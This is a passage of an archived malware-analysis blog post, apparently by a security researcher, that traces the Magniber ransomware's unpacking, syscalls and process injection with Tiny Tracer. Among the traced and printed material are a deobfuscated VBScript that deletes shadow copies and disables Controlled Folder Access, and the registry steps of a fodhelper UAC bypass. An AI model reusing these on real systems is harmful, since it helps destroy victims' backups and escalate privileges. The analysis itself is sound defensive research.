{
	"id": "c539df9a-8a58-45b9-9a0b-2495a91f0de8",
	"created_at": "2026-04-06T00:08:24.799446Z",
	"updated_at": "2026-04-10T03:20:58.532281Z",
	"deleted_at": null,
	"sha1_hash": "56d2cf1b98c56e52d546257f9abb97d641344869",
	"title": "Magniber ransomware analysis: Tiny Tracer in action",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1798004,
	"plain_text": "Magniber ransomware analysis: Tiny Tracer in action\r\nBy Posted on\r\nPublished: 2023-03-30 · Archived: 2026-04-05 16:31:53 UTC\r\nIntro\r\nMagniber is a ransomware that was initially targeting South Korea. My first report on this malware was written\r\nfor Malwarebytes in 2017 (here).\r\nSince then, the ransomware was completely rewritten, and turned into a much more complex beast. The articles\r\nshowing the timeline of the evolution of Magniber ransomware are available here: Magniber at Malpedia. In this\r\nwriteup we will have a deep dive in a one of the samples from the updated edition.\r\nNote that the sample described here is not new: it has been discovered in 2022 and analyzed by various\r\nresearchers. Due to the fact that this malware uses raw syscalls, I decided that it is a good example to showcase\r\nthe new version of Tiny Tracer (v2.3), allowing to trace syscalls. However, this writeup is not limited to a short\r\ndemo, but shows the analysis process step by step, from the beginning. Tiny Tracer will help us easily reach the\r\nhidden core of this obfuscated ransomware: the code directly responsible for the files encryption process.\r\nAnalyzed sample\r\n1. 7bb15a442a5aed5b2fa47eef3bc292e9 – Original sample: the MSI installer\r\n2. 796eb864005f3393c3adce70dc31d6ba – the Magniber DLL\r\n3. 882a21d7c07b3997d87e970f30110243 – the Magniber’s injector (shellcode#1)\r\n4. a841c3bf69df48f7b796752d7c86bc38 – the Magniber’s core (shellcode#2)\r\nBehavioral analysis\r\nWhen executed, this rasomware runs silently, encrypting files with selected extensions, and appending its own\r\nextension at the end. In case of the currently analyzed sample, the added extention is ‘ vieijibfm ‘. In each\r\ndirectory with encrypted files, we can also find a ransom note: README.html .\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 1 of 47\n\nVisualization of an encrypted BMP file – before and after (created with the help of file2png.py):\r\nBefore the encryption\r\nAfter the encryption by Magniber\r\nThe entropy of the encrypted file is high, and there are no patterns visible. This may suggest that some strong\r\nencryption was used, possibly AES with block chaining (CBC mode).\r\nIt drops, runs and then deletes a VBS script in C:\\Users\\Public , under a random name:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 2 of 47\n\nWe can also find there two files with pseudorandom names, that are used as mutexes, to indidate that the\r\nencryption is running, or completed. At the end, the PNG file is dropped in the same directory:\r\nAfter a while, the wallpaper gets changed to the dropped PNG, announcing the attack:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 3 of 47\n\nThe information printed at the wallpaper mentions the ransom note README.html where the victim can find more\r\ninformation.\r\nThe content of the README.html has the following form:\r\nIt mentions further a Tor website, that can be used to make the contact with the attacker, and possibly buy the key\r\nfor files decryption. At the time of this analysis, the website was not available.\r\nWhile the extension added to the encrypted files didn’t change, and also occurs in the note, the used number at the\r\nbeginning of the address is generated per attack.\r\nNote that the ransom note is almost identical as the note used by the old Magniber’s version from 2017:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 4 of 47\n\nAbove: ransom note from the old Magniber’s edition (from 2017), full analysis at:\r\nhttps://www.malwarebytes.com/blog/news/2017/10/magniber-ransomware-exclusively-for-south-koreans\r\nInside\r\nUpacking the MSI\r\nMagniber sample comes packed in the MSI (Microsoft Installer). We can view the scripts inside with Microsoft’s\r\ntool, Orca MSI (mirror: here).\r\nBy looking at the “Custom Action” we find out that the binary to be run is named “utskzc”, and the function that\r\nwill be executed from there is “mvrtubhpxy”. In order to access that binary we need to unpack the content of the\r\nMSI package. We can do it with the help of 7zip.\r\nThen we find out that the aforementioned binary is a PE file, and it exports the function “mvrtubhpxy”.\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 5 of 47\n\nThis is where the execution of the binary starts.\r\nOverview of Magniber’s DLL\r\nIf we try to open this binary in IDA, we can clearly see that this binary is obfuscated. The execution starts from a\r\nsingle call…\r\n…that leads into a “rabbithole” of jumps…\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 6 of 47\n\nHow can we analyze the ransomware inner workings, when it is so hard to even find the relevant code? It isn’t as\r\nhard as it seems if we involve DBI (Dynamic Binary Instrumentation) tools, such as Pin-based Tiny Tracer.\r\nTracing the first stage executable\r\nLet’s dive into the sample by tracing it with Tiny Tracer (you can find the installation instructions here). To makes\r\nthings easier, I converted the DLL into EXE (as described here), changing its entry point to the exported function\r\n(since the DllMain does not do much in this case, and the exported function takes no parameters, we should be\r\nable to simply redirect it).\r\nHowever, on the attempt of tracing it, I’ve got an unpleasant surprise. The Pin Tracer terminated with an error:\r\nPin: pin-3.25-98650-8f6168173\r\nCopyright 2002-2022 Intel Corporation.\r\nE: UPC Dispatcher: Unhandled internal exception in Pin or tool. ThreadId = 0 SysThreadId = 3348. Int\r\nIt is not very intuitive to guess what caused such error. Fortunately, from the previous experience I know what it\r\ncould be: some corruptions in the PE format itself. By looking at the Magniber executable in PE-bear, I found the\r\nsuspected cause – malformed data directories:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 7 of 47\n\nI cleaned it up, by removing the invalid entries:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 8 of 47\n\nThen made another attempt. This time the tracing continues cleanly.\r\nThis is the fragment of the tracelog made with default Tiny Tracer’s settings:\r\nf069;section: [.swicc]\r\n10c4;called: ?? [13240000+0]\r\n\u003e 13240000+20;called: ?? [1324d000+53d]\r\n\u003e 13240000+55;called: ?? [13270000+0]\r\n\u003e 13240000+ca;called: ?? [13270000+0]\r\n\u003e 13240000+229;called: ?? [13330000+0]\r\n\u003e 13240000+272;called: ?? [13370000+0]\r\n\u003e 13240000+229;called: ?? [13390000+0]\r\n\u003e 13240000+272;called: ?? [133d0000+0]\r\nIt doesn’t give us much information, apart from the fact that the execution quickly switched to some newly\r\nallocated block of code (probably a shellcode or a section unpacked in memory). To get more details, make sure\r\nthat following settings are set in TinyTracer.ini:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 9 of 47\n\nFOLLOW_SHELLCODES=3\r\nTRACE_SYSCALL=True\r\nThis time we can see something more interesting – it turns out the malware uses raw syscalls!\r\nf069;section: [.swicc]\r\nef24;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n10c4;called: ?? [14bd0000+0]\r\n\u003e 14bd0000+20;called: ?? [14bdd000+53d]\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14bd0000+55;called: ?? [14be0000+0]\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14bd0000+ca;called: ?? [14be0000+0]\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14bd0000+229;called: ?? [14c90000+0]\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14bd0000+272;called: ?? [14cd0000+0]\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14bd0000+229;called: ?? [14cf0000+0]\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n[...]\r\nAt this point we can already read from the tracelog where the “rabbit hole” ends. The new memory is allocated\r\n(using the syscall), the content of shellcode is copied there, and executed. The execution is redirected to the\r\nshellcode at the RVA = 0x10c4 in the Magniber’s executable. We can set the breakpoint at this offset in a\r\ndebugger, and dump this shellcode for further analysis (it is shellcode#1).\r\nBut for now, let’s continue with the tracing of the main executable, and see what we can learn from it…\r\nThere are some back-and-forth calls between the different pieces of a shellcode, so, in order to avoid the noise, I\r\nam gonna filter it out by changing yet another option in TinyTracer.ini:\r\nLOG_SHELLCODES_TRANSITIONS=False\r\nAnd we can try tracing it again. This is what I got this time:\r\nf069;section: [.swicc]\r\nef24;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n10c4;called: ?? [14bd0000+0]\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14be0000+8;SYSCALL:0x36(NtQuerySystemInformation)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14be0000+8;SYSCALL:0x36(NtQuerySystemInformation)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 10 of 47\n\n\u003e 14c90000+8;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14cd0000+8;SYSCALL:0x26(NtOpenProcess)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14cf0000+8;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14d30000+8;SYSCALL:0x26(NtOpenProcess)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14d70000+8;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14d80000+8;SYSCALL:0x26(NtOpenProcess)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14d90000+8;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14da0000+8;SYSCALL:0x26(NtOpenProcess)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n[...]\r\n\u003e 170f7000+6cb;SYSCALL:0x8(NtWriteFile)\r\n\u003e 170f7000+6b5;SYSCALL:0xf(NtClose)\r\n\u003e 170f7000+6aa;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 170f2000+cc3;ntdll.RtlCreateProcessParametersEx\r\n\u003e 170f7000+67e;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 170f7000+841;SYSCALL:0xc8(NtCreateUserProcess)\r\nComplete tracelog available here: magni.tag\r\nAt the end PIN dumped pin.log file informing about an error:\r\nPin: pin-3.26-98690-1fc9d60e6\r\nCopyright 2002-2022 Intel Corporation.\r\nA: C:\\tmp_proj\\pinjen\\workspace\\pypl-pin-nightly\\GitPin\\Source\\pin\\vm_w\\follow_child_windows.cpp: LEV\r\nThis time the error informs that the traced process created a child, which Tiny Tracer failed to follow (indeed we\r\ncan see in the log file the last called function is NtCreateUserProcess ). This situation is normal.\r\nAs we can see, the majority of the logged functions are called by syscalls. There are just a few functions here and\r\nthere that are called directly from a DLL, such as RtlCreateProcessParametersEx , RtlInitUnicodeString .\r\nThe next thing that we can do in order to get more information about what is going on, is to dump arguments of\r\nthe functions. This can be easily done with Tiny Tracer, by editing params.txt list (more info on project Wiki).\r\nSince Tiny Tracer v2.3 we can also log syscalls arguments. In this case, we will log the syscalls arguments\r\nreferencing them by the corresponding functions from NTDLL.\r\nI prepared a list relevant for the above tracelog (gist: params.txt):\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 11 of 47\n\nntdll;RtlCreateProcessParametersEx;10\r\nntdll;RtlInitUnicodeString;2\r\nntdll;NtAllocateVirtualMemory;6\r\nntdll;NtQuerySystemInformation;4\r\nntdll;NtOpenProcess;4\r\nntdll;NtWriteVirtualMemory;5\r\nntdll;NtCreateThreadEx;11\r\nntdll;NtResumeThread;2\r\nntdll;NtQueryPerformanceCounter;2\r\nntdll;NtOpenFile;6\r\nntdll;NtQueryVolumeInformationFile;5\r\nntdll;NtOpenKey;3\r\nntdll;NtEnumerateKey;6\r\nntdll;NtWriteFile;9\r\nntdll;NtSetValueKey;6\r\nntdll;NtCreateUserProcess;10\r\nntdll;NtCreateFile;10\r\nI traced it again, with the changed settings. This time tracelog revealed the strings that were referenced by this\r\nfunctions. Fragment:\r\n[...]\r\n\u003e 17353000+df9;ntdll.RtlInitUnicodeString\r\nRtlInitUnicodeString:\r\nArg[0] = ptr 0x00000000174bf900 -\u003e U\"\\Registry\\User\\\"\r\nArg[1] = ptr 0x0000000017c80000 -\u003e L\"AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\"\r\n\u003e 17357000+6f7;SYSCALL:0x12(NtOpenKey)\r\nNtOpenKey:\r\nArg[0] = ptr 0x00000000174bf8f0 -\u003e {\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff}\r\nArg[1] = ptr 0x00000000000f003f -\u003e {\\x00@.\\x9a\\x02\\x00\\x00\\x00}\r\nArg[2] = ptr 0x00000000174bf910 -\u003e L\"0\"\r\n\u003e 17353000+e4e;ntdll.RtlInitUnicodeString\r\nRtlInitUnicodeString:\r\nArg[0] = ptr 0x00000000174bf900 -\u003e U\"AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\"\r\nArg[1] = ptr 0x00000000174bf9c0 -\u003e L\"Shell\"\r\n\u003e 17357000+6f7;SYSCALL:0x12(NtOpenKey)\r\nNtOpenKey:\r\nArg[0] = ptr 0x00000000174bf8f0 -\u003e {\\x04\\x02\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[1] = ptr 0x00000000000f003f -\u003e {\\x00@.\\x9a\\x02\\x00\\x00\\x00}\r\nArg[2] = ptr 0x00000000174bf910 -\u003e L\"0\"\r\n\u003e 17353000+ea2;ntdll.RtlInitUnicodeString\r\nRtlInitUnicodeString:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 12 of 47\n\nArg[0] = ptr 0x00000000174bf900 -\u003e U\"Shell\"\r\nArg[1] = ptr 0x00000000174bf9b0 -\u003e L\"Open\"\r\n\u003e 17357000+6f7;SYSCALL:0x12(NtOpenKey)\r\nNtOpenKey:\r\nArg[0] = ptr 0x00000000174bf8f0 -\u003e {\\x08\\x02\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[1] = ptr 0x00000000000f003f -\u003e {\\x00@.\\x9a\\x02\\x00\\x00\\x00}\r\nArg[2] = ptr 0x00000000174bf910 -\u003e L\"0\"\r\n\u003e 17353000+ef6;ntdll.RtlInitUnicodeString\r\nRtlInitUnicodeString:\r\nArg[0] = ptr 0x00000000174bf900 -\u003e U\"Open\"\r\nArg[1] = ptr 0x00000000174bf9e0 -\u003e L\"command\"\r\n\u003e 17357000+6f7;SYSCALL:0x12(NtOpenKey)\r\nNtOpenKey:\r\nArg[0] = ptr 0x00000000174bf8f0 -\u003e {\\x0c\\x02\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[1] = ptr 0x00000000000f003f -\u003e {\\x00@.\\x9a\\x02\\x00\\x00\\x00}\r\nArg[2] = ptr 0x00000000174bf910 -\u003e L\"0\"\r\n\u003e 17353000+f49;ntdll.RtlInitUnicodeString\r\nRtlInitUnicodeString:\r\nArg[0] = ptr 0x00000000174bf900 -\u003e U\"command\"\r\nArg[1] = ptr 0x00000000174bfaf0 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\n\u003e 17357000+70d;SYSCALL:0x60(NtSetValueKey)\r\nNtSetValueKey:\r\nArg[0] = 0x0000000000000210 = 528\r\nArg[1] = ptr 0x00000000174bf900 -\u003e {\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00}\r\nArg[2] = 0\r\nArg[3] = 0x0000000000000001 = 1\r\nArg[4] = ptr 0x0000000017bd0000 -\u003e L\"wscript.exe /B /E:VBScript.Encode ../../Users/Public/vyb\r\nArg[5] = 0x000000000000008a = 138\r\n\u003e 17353000+f86;ntdll.RtlInitUnicodeString\r\nRtlInitUnicodeString:\r\nArg[0] = ptr 0x00000000174bf900 -\u003e {\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00}\r\nArg[1] = ptr 0x00000000174bfa28 -\u003e L\"DelegateExecute\"\r\n\u003e 17357000+70d;SYSCALL:0x60(NtSetValueKey)\r\nNtSetValueKey:\r\nArg[0] = 0x0000000000000210 = 528\r\nArg[1] = ptr 0x00000000174bf900 -\u003e U\"DelegateExecute\"\r\nArg[2] = 0\r\nArg[3] = 0x0000000000000001 = 1\r\nArg[4] = ptr 0x00000000174bfaf0 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[5] = 0x0000000000000004 = 4\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 13 of 47\n\n\u003e 17357000+6b5;SYSCALL:0xf(NtClose)\r\n\u003e 17357000+689;SYSCALL:0x1e(NtFreeVirtualMemory)\r\n\u003e 17354000+1b;ntdll.RtlInitUnicodeString\r\nRtlInitUnicodeString:\r\nArg[0] = ptr 0x00000000174bf900 -\u003e U\"DelegateExecute\"\r\nArg[1] = ptr 0x00000000174bf9f0 -\u003e L\"ms-settings\"\r\n\u003e 17357000+718;SYSCALL:0x1d(NtCreateKey)\r\n\u003e 17354000+87;ntdll.RtlInitUnicodeString\r\nRtlInitUnicodeString:\r\nArg[0] = ptr 0x00000000174bf900 -\u003e U\"ms-settings\"\r\nArg[1] = ptr 0x00000000174bf9d0 -\u003e L\"CurVer\"\r\n\u003e 17357000+718;SYSCALL:0x1d(NtCreateKey)\r\n\u003e 17354000+f4;ntdll.RtlInitUnicodeString\r\nRtlInitUnicodeString:\r\nArg[0] = ptr 0x00000000174bf900 -\u003e U\"CurVer\"\r\nArg[1] = ptr 0x00000000174bfaf0 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\n\u003e 17357000+70d;SYSCALL:0x60(NtSetValueKey)\r\nNtSetValueKey:\r\nArg[0] = 0x0000000000000214 = 532\r\nArg[1] = ptr 0x00000000174bf900 -\u003e {\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00}\r\nArg[2] = 0\r\nArg[3] = 0x0000000000000001 = 1\r\nArg[4] = ptr 0x0000000017c80000 -\u003e L\"AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\"\r\nArg[5] = 0x0000000000000048 = 72\r\n\u003e 17357000+6b5;SYSCALL:0xf(NtClose)\r\n\u003e 17357000+6b5;SYSCALL:0xf(NtClose)\r\n\u003e 17357000+6aa;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 17357000+67e;SYSCALL:0x18(NtAllocateVirtualMemory)\r\nNtAllocateVirtualMemory:\r\nArg[0] = 0xffffffffffffffff = 18446744073709551615\r\nArg[1] = ptr 0x00000000174bf8c0 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[2] = 0\r\nArg[3] = ptr 0x00000000174bf8c8 -\u003e L\"J\"\r\nArg[4] = 0x0df06fa200001000 = 1004425458479009792\r\nArg[5] = 0x3548001a00000004 = 3839318794002497540\r\n\u003e 17357000+6c0;SYSCALL:0x55(NtCreateFile)\r\nNtCreateFile:\r\nArg[0] = ptr 0x00000000174bf8b0 -\u003e {\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff}\r\nArg[1] = ptr 0x0000000000120116 -\u003e {\\x00\\x00\\xf0*\\x9a\\x02\\x00\\x00}\r\nArg[2] = ptr 0x00000000174bf840 -\u003e L\"0\"\r\nArg[3] = ptr 0x00000000174bf830 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 14 of 47\n\nArg[4] = 0\r\nArg[5] = 0x3548001a00000080 = 3839318794002497664\r\nArg[6] = 0x7a20201200000002 = 8800068933563449346\r\nArg[7] = 0x3478478a00000005 = 3780850545208590341\r\nArg[8] = 0x3c506e8200000020 = 4346095145037332512\r\nArg[9] = 0\r\n\u003e 17357000+6cb;SYSCALL:0x8(NtWriteFile)\r\nNtWriteFile:\r\nArg[0] = 0x0000000000000200 = 512\r\nArg[1] = 0\r\nArg[2] = 0\r\nArg[3] = 0\r\nArg[4] = ptr 0x00000000174bf810 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[5] = ptr 0x000000001735cdbf -\u003e {#@~^YQIA}\r\nArg[6] = 0x7a2020120000027c = 8800068933563449980\r\nArg[7] = 0\r\nArg[8] = 0\r\n\u003e 17357000+6b5;SYSCALL:0xf(NtClose)\r\n\u003e 17357000+6aa;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 17352000+cc3;ntdll.RtlCreateProcessParametersEx\r\nRtlCreateProcessParametersEx:\r\nArg[0] = ptr 0x00000000174bf8b0 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[1] = ptr 0x00000000174bf7f0 -\u003e U\"\\??\\C:\\Windows\\System32\\cmd.exe\"\r\nArg[2] = 0\r\nArg[3] = 0\r\nArg[4] = ptr 0x00000000174bf800 -\u003e U\"/c fodhelper.exe\"\r\nArg[5] = 0\r\nArg[6] = 0\r\nArg[7] = 0\r\nArg[8] = 0\r\nArg[9] = 0\r\n\u003e 17357000+67e;SYSCALL:0x18(NtAllocateVirtualMemory)\r\nNtAllocateVirtualMemory:\r\nArg[0] = 0xffffffffffffffff = 18446744073709551615\r\nArg[1] = ptr 0x00000000174bf8c0 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[2] = 0\r\nArg[3] = ptr 0x00000000174bf8b8 -\u003e L\" \"\r\nArg[4] = 0x0000000000001000 = 4096\r\nArg[5] = 0x0000000000000004 = 4\r\n\u003e 17357000+841;SYSCALL:0xc8(NtCreateUserProcess)\r\nNtCreateUserProcess:\r\nArg[0] = ptr 0x00000000174bf810 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nArg[1] = ptr 0x00000000174bf8c8 -\u003e {\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 15 of 47\n\nArg[2] = 0x00000000001fffff = 2097151\r\nArg[3] = 0x00000000001fffff = 2097151\r\nArg[4] = 0\r\nArg[5] = 0\r\nArg[6] = 0\r\nArg[7] = 0\r\nArg[8] = ptr 0x000000000046a610 -\u003e {\\xc8\\x06\\x00\\x00\\xc8\\x06\\x00\\x00}\r\nArg[9] = ptr 0x00000000174bf820 -\u003e L\"X\"\r\nComplete log available here: magni.exe.tag.\r\nAs we can see, at the end the application executed “fodhelper.exe”. Googling for the related strings lead us to the\r\nfollowing PoC: FodhelperBypass.ps1. As we can see, this system application was used in one of the technique of\r\nUAC (User Account Bypass), meant to elevate privileges on Windows. Comparing the strings used by the\r\nmalware with the ones used in the PoC, as well as their order, and the context of usage, we can find a big overlap\r\nthat allows to guess that this indeed was a UAC technique used by Magniber.\r\nThen we reach the aforementioned point where the Tiny Tracer is not able to follow the child process, so the\r\nexecution terminates. At first, I thought to get more luck by running Magniber directly as an Administrator, so that\r\nit will skip the process creation, that is a part of its UAC technique. Unfortunately, the UAC is executed regardless\r\nthe malware is deployed elevated or not. For now we will just continue the analysis with what we have.\r\nThe VBE script\r\nWe can see in the log a line referencing a VBScript:\r\nL\"wscript.exe /B /E:VBScript.Encode ../../Users/Public/vybmaryqycp.mnxu\"\r\nIndeed this script is dropped (under a pseudo-random name) into C:/Users/Public.\r\nThis script is in an encrypted form (VBE), but it can be deobfuscated easily using public tools, i.e. this one. The\r\nresulting content:\r\nOn Error Resume Next\r\nSet dd4y336wf97z = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2\")\r\nSet s1o28iq = dd4y336wf97z.ExecQuery(\"Select * From Win32_ShadowCopy\")\r\nFor Each d18706x in s1o28iq\r\nd18706x.Delete_\r\nNext\r\nSet c6406r7uh = GetObject(\"winmgmts:\r\n{impersonationLevel=impersonate}!\\\\.\\root\\Microsoft\\Windows\\Defender:MSFT_MpPreference\")\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 16 of 47\n\nSet jlfze3cy1qjq = c6406r7uh.Methods_(\"Set\").inParameters.SpawnInstance_()\r\njlfze3cy1qjq.Properties_.Item(\"EnableControlledFolderAccess\") = 0\r\nSet ub7mu3 = c6406r7uh.ExecMethod_(\"Set\", jlfze3cy1qjq)\r\nWScript.Quit Err.Number\r\nAs we can see, the script is responsible for deleting shadow copies. It also try to change the system settings, in\r\norder to expand what files it can access.\r\nAfter being run, the script is deleted.\r\nRevealing the second stage shellcode\r\nThe inital sample has been terminated, but nevertheless, looking at the symptoms, we can conclude that the\r\nransomware continued its execution: any newly created files with particular extensions keep getting encrypted.\r\nProbably the modules got injected into other processes. This observation can be confirmed by looking at the\r\ntracelog:\r\n[...]\r\n\u003e 15460000+8;SYSCALL:0x26(NtOpenProcess)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 15470000+8;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 15490000+8;SYSCALL:0x19(NtQueryInformationProcess)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 154a0000+8;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 154b0000+8;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 154c0000+8;SYSCALL:0x3a(NtWriteVirtualMemory)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 154d0000+8;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 154e0000+8;SYSCALL:0x50(NtProtectVirtualMemory)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 154f0000+8;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 15500000+8;SYSCALL:0xc1(NtCreateThreadEx)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 15510000+8;SYSCALL:0x34(NtDelayExecution)\r\n\u003e 14bd0000+4ee;SYSCALL:0x18(NtAllocateVirtualMemory)\r\n\u003e 15530000+8;SYSCALL:0x52(NtResumeThread)\r\n[...]\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 17 of 47\n\nAs we can see in the log, the malware was looping over processes, writing to some of them, and executing the\r\nwritten content in a new thread.\r\nIn order to reveal where the implanted modules are located, I scanned the system with HollowsHunter (as an\r\nAdministrator), with a parameter /shellc – to dump all the shellcodes. It turned out that there are multiple\r\nprocesses infected with the same piece of a shellcode. Example:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 18 of 47\n\nLooking at the shellcode strings, we can see that it has a PNG embedded (that is probably the used wallpaper), and\r\nas well some HTML and JavaScript:\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 19 of 47\n\nThe same content of obfuscated JavaScript can be found in Magniber’s README:\r\nBy dumping all the strings from the shellcode, with the help of FLOSS, we can see some more things hinting that\r\nthis shellcode belongs to our ransomware:\r\n[...]\r\nFLOSS static Unicode strings\r\n\\??\\\r\n0123456789abcdef\r\nf0123456789\r\nvieijibfm\r\nmstrxoorvdmynkde\r\ndocuments and settings\r\nappdata\r\nlocal settings\r\nsample music\r\nsample pictures\r\nsample videos\r\ntor browser\r\nrecycle\r\nwindows\r\nhttps://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/\r\nPage 20 of 47\n\nboot\r\nintel\r\nmsocache\r\nperflogs\r\nprogram files\r\nprogramdata\r\nrecovery\r\nsystem volume information\r\nwinnt\r\nREADME.html\r\nUsers\\Public\\\r\nwscript.exe /B /E:VBScript.Encode ../../Users/Public/\r\n.mnxu\r\nFor example, there is a list of well known directories. Such lists are often used by ransomware to skip particular\r\nsystem directories. There are also strings related to the dropped VBE script, and the hardcoded ransomware\r\nextension: vieijibfm .\r\nOverall, we can confirm with a high level of a confidence that the captured shellcode belongs to Magniber.\r\nWe can run HollowsHunter with option /kill in order to kill all the infected and suspicious processes. To\r\nconfirm that the ransomware is no longer active in the system, we can make another experiment with creating a\r\nnew file with one of the attacked extensions. This time the new file won’t get encrypted – meaning all the\r\nprocesses containing Magniber are killed.\r\nThe second stage – Magniber’s core\r\n3a2b8ef624b4318fc142a6266c70f88799e80d10566f6dd2d8d74e91d651491a – the shellcode#2\r\nWe can make an educated guess that the dumped shellcode is the unpacked Magniber’s core. So, we will continue\r\nour tracing from this point.\r\nIn order to trace a shellcode, I have to wrap it as an executable. Similarly to the first stage, the shellcode is 64bit.\r\nThere are various ways to make a PE out of a shellcode. I decided to simply add it as a new section to the 